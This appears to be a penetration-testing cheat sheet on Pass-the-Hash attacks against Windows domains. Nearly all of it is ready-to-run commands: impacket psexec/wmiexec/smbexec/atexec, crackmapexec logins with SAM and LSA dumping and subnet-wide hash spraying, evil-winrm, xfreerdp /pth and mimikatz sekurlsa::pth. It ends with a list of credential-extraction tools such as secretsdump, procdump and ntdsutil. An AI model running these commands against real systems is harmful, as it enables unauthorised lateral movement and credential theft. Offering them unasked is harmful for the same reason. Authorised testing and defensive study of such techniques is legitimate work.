Documentation IndexFetch the complete documentation index at: /llms.txtUse this file to discover all available pages before exploring further.
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
Pass-the-Hash: authenticate with NTLM hash without knowing the plaintext password.
impacket-psexec DOMAIN/user@TARGET -hashes aad3b435b51404eeaad3b435b51404ee:NTLM_HASH impacket-wmiexec DOMAIN/user@TARGET -hashes :NTLM_HASH impacket-smbexec DOMAIN/user@TARGET -hashes :NTLM_HASH impacket-atexec DOMAIN/user@TARGET -hashes :NTLM_HASH "whoami"
crackmapexec smb TARGET -u user -H NTLM_HASH crackmapexec smb TARGET -u user -H NTLM_HASH -x "whoami" crackmapexec smb TARGET -u user -H NTLM_HASH --sam # Dump SAM crackmapexec smb TARGET -u user -H NTLM_HASH --lsa # Dump LSA crackmapexec winrm TARGET -u user -H NTLM_HASH
evil-winrm -i TARGET -u user -H NTLM_HASH
xfreerdp /v:TARGET /u:user /pth:NTLM_HASH
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:NTLM_HASH /run:cmd.exe
crackmapexec smb 10.10.10.0/24 -u administrator -H NTLM_HASH
secretsdump
reg save
mimikatz
procdump
ntdsutil
secretsdump -just-dc
mimikatz lsadump::cache
impacket-psexec DOM/user@TARGET -hashes :HASH
evil-winrm -i TARGET -u user -H HASH
crackmapexec smb TARGET -u user -H HASH
sekurlsa::pth /user:admin /ntlm:HASH
crackmapexec smb SUBNET -u admin -H HASH